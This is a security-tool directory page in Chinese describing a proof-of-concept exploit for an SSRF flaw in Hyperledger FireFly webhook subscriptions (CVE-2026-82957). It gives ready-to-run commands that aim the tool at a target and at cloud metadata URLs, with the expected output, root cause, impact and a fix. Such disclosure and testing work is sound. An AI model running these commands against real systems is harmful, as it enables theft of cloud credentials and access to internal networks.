Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-82957 — 针对 CVE-2026-82957 的概念验证漏洞利用,该漏洞是 Hyperledger FireFly webhook 订阅中的 SSRF,会强制节点请求内部或云元数据 URL。 | Kitploit
工具/GitHubGitHub/hakaioffsec/cve-2026-82957
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试云安全
GitHubhakaioffsec/cve-2026-82957

CVE-2026-82957

针对 CVE-2026-82957 的概念验证漏洞利用,该漏洞是 Hyperledger FireFly webhook 订阅中的 SSRF,会强制节点请求内部或云元数据 URL。

查看仓库
123天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Hyperledger FireFly Webhook 订阅中的 SSRF(CVE-2026-82957)

针对 CVE-2026-82957 的概念验证漏洞利用,该漏洞是 Hyperledger FireFly Core 的 webhooks 事件传输中的一个服务端请求伪造(CWE-918)。任何能够创建事件订阅的客户端都可以注册一个目标 URL 从未被校验的 webhook——当匹配的事件发生时,FireFly 节点自身会发起该 HTTP 请求。将其指向仅限内部访问的地址(云元数据、回环地址、RFC1918 服务)会使该节点沦为受控代理(confused deputy)。

要求

仅需 Python 3 标准库——无依赖。

$ python3 cve_2026_82957.py --help

用法

步骤 1 — 在 FireFly 节点应访问的机器上启动监听器(即 SSRF 受害者):

$ python3 -m http.server 8000 --bind 0.0.0.0

步骤 2 — 运行漏洞利用程序。-t 是 FireFly API 基础 URL,-u 是节点将被强制请求的 URL:

# Point at your listener (host as seen from the FireFly container)
$ python3 cve_2026_82957.py -t http://target:5000 -u http://<host-ip>:8000/PWNED

# Arbitrary internal target (cloud metadata, internal service, etc.)
$ python3 cve_2026_82957.py -t http://target:5000 -u http://169.254.169.254/latest/meta-data/

# Non-default namespace
$ python3 cve_2026_82957.py -t http://target:5000 -n default -u http://<host-ip>:8000/PWNED

对于在 Docker 中运行的 FireFly 节点,<host-ip> 是桥接网络网关——可通过 docker network inspect <network> 查找(字段 IPAM.Config.Gateway,例如 172.21.0.1)。

预期输出:

[*] Step 1: creating webhook subscription with unvalidated internal URL
[+] Subscription accepted (201) - id 9bd2bbb9-... - host was NOT validated
[*] Step 2: triggering event to fire the webhook
[+] Broadcast accepted (202)
[!] The FireFly node has now issued the request itself.

监听器日志——源 IP 是 FireFly 节点的容器 IP,而非攻击者的机器,证明该请求是由服务器伪造的。SSRF 已确认:

172.21.0.8 - - [12/Oct/2026 17:46:47] "GET /PWNED HTTP/1.1" 404 -

受影响版本

  • 所有使用 webhook 传输的版本,直至并包括 v1.5.0
  • 引入于提交 215c69181(“webhooks 调用的基础实现”,2021-06-20)
  • 在 e3c9b8d89(main)中仍然存在——两次提交之间没有任何提交添加主机校验
  • 已针对 v1.4.0 和 v1.5.0 进行实时验证

根本原因

文件:internal/events/webhooks/webhooks.go

行号代码问题
191url: options.GetString("url")目标直接取自用户输入,未经处理
266ValidateOptions(...)校验了格式/请求头/超时,但从未校验主机
394req.r.Execute(req.method, req.url)请求被发出

对解析后的目标地址没有任何允许列表/拒绝列表:没有阻止回环、私有(RFC1918)或链路本地(169.254.0.0/16)地址,且主机和协议完全由攻击者控制。FireFly 默认不附带任何 API 认证插件,因此订阅创建可以是未经认证的。

受影响的端点

  • POST /api/v1/namespaces/{ns}/subscriptions——创建恶意 webhook(对内部 URL 返回 201 Created)
  • 任何发出与订阅过滤器匹配的事件的 API 调用(例如 POST /api/v1/namespaces/{ns}/messages/broadcast)——触发伪造的请求

影响

CWE-918 服务端请求伪造。攻击者可以:

  • 访问未对外暴露的内部服务(数据库、管理面板、sidecar 容器)
  • 从实例元数据端点(169.254.169.254)读取云凭证 → 升级为控制云账户
  • 完全读取型 SSRF:设置 "reply": true 时,内部响应会作为 FireFly 事件返回给攻击者——并非盲注
  • 通过错误/时序差异扫描内部网络端口

CVSS

~8.5 高危 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N——严重程度取决于 API 是否位于认证之后。

修复

在 ValidateOptions 中,解析 URL、解析主机,并拒绝回环/私有/链路本地/未指定地址;将协议限制为 http/https;在连接时重新检查解析后的 IP(自定义 DialContext)以挫败 DNS 重绑定;最好提供一个可配置的允许 webhook 主机列表。

免责声明

本工具仅用于教育和研究目的。请仅在您拥有或已获得明确测试许可的系统上使用它。作者不对本程序造成的任何滥用或损害负责。

QuimeraX Intelligence

QuimeraX Intelligence 是一个先进的 EASM 和网络威胁情报平台,专注于识别复杂系统中的关键漏洞。该平台主动监控、检测并向客户告警安全威胁,确保透明度并对潜在风险快速响应。如果发现客户系统存在漏洞,客户会立即收到通知和全面的报告,从而能够采取防护措施。了解更多

Hakai Security

Hakai Security 是一家由安全专业人士创立的网络安全公司,致力于技术卓越。我们提供量身定制的安全解决方案,包括高级渗透测试、逼真的红队模拟和安全开发实践,主动保护客户资产免受不断演变的网络威胁。

Hacking Club

Hacking Club 是一个培训平台,您可以通过由我们安全咨询公司的一线专家创建的实践课程、实验和挑战来学习网络安全:直接从战场到您的培训。

下载工具